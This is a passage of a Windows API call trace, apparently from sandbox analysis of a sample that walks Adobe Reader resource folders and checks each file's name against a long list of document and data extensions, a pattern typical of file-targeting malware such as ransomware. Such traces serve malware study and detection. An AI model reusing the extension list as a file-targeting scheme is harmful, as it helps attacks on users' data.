	[0174.744] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0174.744] lstrlenW (lpString=".css") returned 4
	[0174.744] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1
	[0174.744] lstrlenW (lpString=".csv") returned 4
	[0174.744] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1
	[0174.744] lstrlenW (lpString=".cub") returned 4
	[0174.744] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1
	[0174.744] lstrlenW (lpString=".dae") returned 4
	[0174.744] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1
	[0174.744] lstrlenW (lpString=".dat") returned 4
	[0174.744] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1
	[0174.744] lstrlenW (lpString=".db") returned 3
	[0174.744] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0174.744] lstrlenW (lpString=".dbf") returned 4
	[0174.744] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1
	[0174.744] lstrlenW (lpString=".dbx") returned 4
	[0174.744] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1
	[0174.744] lstrlenW (lpString=".dc3") returned 4
	[0174.744] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1
	[0174.744] lstrlenW (lpString=".dcm") returned 4
	[0174.744] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1
	[0174.744] lstrlenW (lpString=".dcr") returned 4
	[0174.744] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1
	[0174.745] lstrlenW (lpString=".der") returned 4
	[0174.745] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1
	[0174.745] lstrlenW (lpString=".dib") returned 4
	[0174.745] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1
	[0174.745] lstrlenW (lpString=".dic") returned 4
	[0174.745] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1
	[0174.745] lstrlenW (lpString=".dif") returned 4
	[0174.745] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1
	[0174.745] lstrlenW (lpString=".divx") returned 5
	[0174.745] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1
	[0174.745] lstrlenW (lpString=".djvu") returned 5
	[0174.745] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1
	[0174.745] lstrlenW (lpString=".dng") returned 4
	[0174.745] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1
	[0174.745] lstrlenW (lpString=".doc") returned 4
	[0174.745] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1
	[0174.745] lstrlenW (lpString=".docm") returned 5
	[0174.745] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1
	[0174.745] lstrlenW (lpString=".docx") returned 5
	[0174.745] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1
	[0174.745] lstrlenW (lpString=".dot") returned 4
	[0174.745] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1
	[0174.745] lstrlenW (lpString=".dotm") returned 5
	[0174.745] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1
	[0174.745] lstrlenW (lpString=".dotx") returned 5
	[0174.745] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1
	[0174.745] lstrlenW (lpString=".dpx") returned 4
	[0174.745] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1
	[0174.745] lstrlenW (lpString=".dqy") returned 4
	[0174.745] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1
	[0174.745] lstrlenW (lpString=".dsn") returned 4
	[0174.745] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1
	[0174.745] lstrlenW (lpString=".dt") returned 3
	[0174.745] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0174.746] lstrlenW (lpString=".dtd") returned 4
	[0174.746] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1
	[0174.746] lstrlenW (lpString=".dwg") returned 4
	[0174.746] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1
	[0174.746] lstrlenW (lpString=".dwt") returned 4
	[0174.746] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1
	[0174.746] lstrlenW (lpString=".dx") returned 3
	[0174.746] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0174.746] lstrlenW (lpString=".dxf") returned 4
	[0174.746] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1
	[0174.746] lstrlenW (lpString=".edml") returned 5
	[0174.746] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1
	[0174.746] lstrlenW (lpString=".efd") returned 4
	[0174.746] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1
	[0174.746] lstrlenW (lpString=".elf") returned 4
	[0174.746] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1
	[0174.746] lstrlenW (lpString=".emf") returned 4
	[0174.746] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1
	[0174.746] lstrlenW (lpString=".emz") returned 4
	[0174.746] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1
	[0174.746] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.746] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0174.747] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.747] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0174.749] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.749] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0174.750] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.750] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0174.750] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.750] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0174.750] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.751] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0174.754] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.754] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0174.755] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.755] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0174.755] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.756] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0174.756] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.756] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0174.757] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.757] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0174.757] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.757] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0174.757] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.758] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0174.758] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.758] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0174.758] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.758] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0174.759] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.759] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0174.759] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.759] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0174.759] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.759] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0174.759] FindClose (in: hFindFile=0x4140c58 | out: hFindFile=0x4140c58) returned 1
	[0174.894] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.894] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2f1b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0174.894] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0174.895] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0174.895] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0174.895] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0174.895] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="my-computer-select", cAlternateFileName="MY-COM~1")) returned 1
	[0174.934] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0174.934] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0174.935] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.935] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0174.935] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.935] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0174.935] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.935] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0174.935] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.935] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0174.936] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.936] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0174.936] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.936] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0174.936] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.936] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0174.936] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.936] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0174.936] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.936] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0174.936] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.936] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0174.937] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\fi-fi") returned 126
